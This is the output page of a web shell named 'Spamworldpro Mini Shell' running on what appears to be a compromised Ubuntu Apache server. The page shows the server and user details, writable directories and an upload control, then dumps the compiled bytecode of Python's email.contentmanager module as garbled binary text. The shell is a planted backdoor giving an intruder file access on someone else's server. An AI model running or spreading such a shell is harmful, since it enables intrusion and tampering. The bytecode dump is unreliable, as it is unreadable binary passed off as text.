Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3.10/email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.10/email/__pycache__/contentmanager.cpython-310.pyc
o

�*�g;)�@s>ddlZddlZddlZddlZddlmZGdd�d�Ze�Zd%dd�Ze�	de�d	d
�Z
d��D]Ze�	ee
�q3dd
�Z
d��D]
Ze�	dee
�qDdd�Ze�	de�dd�Zdd�Zdd�Zdd�Z			d&dd�Ze�ee�			d'd d!�Ze�ejje�	"		d(d#d$�ZeeefD]Ze�ee�q�dS))�N)�
quoprimimec@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�ContentManagercCsi|_i|_dS�N)�get_handlers�set_handlers)�self�r�+/usr/lib/python3.10/email/contentmanager.py�__init__	s
zContentManager.__init__cC�||j|<dSr)r)r�key�handlerrrr	�add_get_handler
�zContentManager.add_get_handlercOs�|��}||jvr|j||g|�Ri|��S|��}||jvr.|j||g|�Ri|��Sd|jvrA|jd|g|�Ri|��St|��)N�)�get_content_typer�get_content_maintype�KeyError)r�msg�args�kw�content_type�maintyperrr	�get_contents


zContentManager.get_contentcCrr)r)r�typekeyr
rrr	�add_set_handlerrzContentManager.add_set_handlercOsD|��dkr
td��|�||�}|��|||g|�Ri|��dS)N�	multipartz"set_content not valid on multipart)r�	TypeError�_find_set_handler�
clear_content)rr�objrrr
rrr	�set_contents
zContentManager.set_contentc	Cs�d}t|�jD]O}||jvr|j|S|j}t|dd�}|r'd�||f�n|}|dur/|}||jvr;|j|S||jvrG|j|S|j}||jvrV|j|Sqd|jvra|jdSt|��)N�
__module__r�.)�type�__mro__r�__qualname__�getattr�join�__name__r)	rrr �full_path_for_error�typ�qname�modname�	full_path�namerrr	r's(



�

z ContentManager._find_set_handlerN)	r)r"r&r
rrrr!rrrrr	rs	r�replacecCs&|jdd�}|�dd�}|j||d�S)NT��decode�charset�ASCII)�errors)�get_payload�	get_paramr2)rr5�contentr3rrr	�get_text_content@sr9�textcCs|jdd�S)NTr1�r6�rrrr	�get_non_text_contentGsr=zaudio image video applicationcCs
|�d�S�Nrr;r<rrr	�get_message_contentMs
r?zrfc822 external-bodyzmessage/cCst|�d��Sr>)�bytesr6r<rrr	�%get_and_fixup_unknown_message_contentSsrA�messagec
s�d�||f�|d<|rOt|dd�s|j��fdd�|D�}z|D]}|jr+|jd�|||j<q!WdStjjyN}z
td�	|j
|jd���|�d}~wwdS)	N�/zContent-Typerr/csg|]}�j��|g���qSr)�header_factory�header_source_parse)�.0�header��mprr	�
<listcomp>ds�z _prepare_set.<locals>.<listcomp>zInvalid header: {})�policy)r(�hasattrrK�defectsr/�emailr5�HeaderDefect�
ValueError�format�fold)rr�subtype�headersrG�excrrHr	�_prepare_set_s,
�
������rVcCs||dur
|dur
d}|dur||d<|dur|jd|ddd�|dur'||d<|dur:|��D]\}}|�||�q/dSdS)N�
attachmentzContent-Disposition�filenameT)rGr0z
Content-ID)�	set_param�items)r�dispositionrX�cid�paramsr�valuerrr	�
_finalize_setps"��r_cCsVg}|dd}tdt|�|�D]}||||�}|�t�|��d��qd�|�S)N��r�asciir)�range�len�append�binascii�
b2a_base64r2r()�data�max_line_length�
encoded_lines�unencoded_bytes_per_line�i�thislinerrr	�_encode_base64�s
rncs�|�|���}|j�d���fdd�}dd�}|durztdd�|D�dd	�|jkrLz
d
||��d�fWSty<Ynw|jdkrLd||��dd�fS||dd
��}t�	|�d�|j�}t
�|�}	t|�t|	�krnd}nd}t|�d
krz||fS|d
kr�||��d�}
||
fS|dkr�||��dd�}
||
fS|dkr�t�	||��d�|j�}
||
fS|dkr�t
||�|j�}
||
fStd�|���)Nrbcs��|��Sr�r(��lines��lineseprr	�
embedded_body��z#_encode_text.<locals>.embedded_bodycSsd�|�dS)N�
rorprrr	�normal_body�ruz!_encode_text.<locals>.normal_bodycss�|]}t|�VqdSr)rd)rF�xrrr	�	<genexpr>�s�z_encode_text.<locals>.<genexpr>r)�default�7bit�8bit�surrogateescape�
zlatin-1�base64�quoted-printablez$Unknown content transfer encoding {})�encode�
splitlinesrs�maxrir2�UnicodeDecodeError�cte_typer�body_encoderfrgrdrnrPrQ)�stringr3�cterKrqrtrw�sniff�sniff_qp�sniff_base64rhrrrr	�_encode_text�sL�
�

�����r��plain�utf-8c
Csdt|d||	�t||||j�\}}
|�|
�|jdtjj�||�dd�||d<t	|||||�dS)Nr:r3T�r0�Content-Transfer-Encoding)
rVr�rK�set_payloadrYrNr3�ALIASES�getr_)rr�rSr3r�r[rXr\r]rT�payloadrrr	�set_text_content�s
�r��rfc822c		Cs�|dkrtd��|dkr |dvrtd�|���|durdn|}n|dkr2|dvr/td	�|���d
}n|dur8d
}t|d||�|�|g�||d<t|||||�dS)
N�partialz4message/partial is not supported for Message objectsr�)Nr{r|�binaryz*message/rfc822 parts do not support cte={}r|z
external-body)Nr{z1message/external-body parts do not support cte={}r{rBr�)rPrQrVr�r_)	rrBrSr�r[rXr\r]rTrrr	�set_message_content�s(��r�rc

Cs�t||||	�|dkrt||jjd�}n'|dkr'tj|dddd�}|�d�}n|dkr1|�d�}n
|d	vr;|�dd
�}|�|�||d<t|||||�dS)Nr)rir�FT)�istextrG�	quotetabsrbr{)r|r�r}r�)	rVrnrKrirf�b2a_qpr2r�r_)
rrhrrSr�r[rXr\r]rTrrr	�set_bytes_content�s
r�r�)r�r�NNNNNN)r�NNNNNN)rNNNNN)rf�
email.charsetrN�
email.message�email.errorsrr�raw_data_managerr9rr=�splitrr?rSrArVr_rnr�r�r�strr�rB�Messager�r@�	bytearray�
memoryviewr+rrrr	�<module>sP6
�	'
�
�
��

Spamworldpro Mini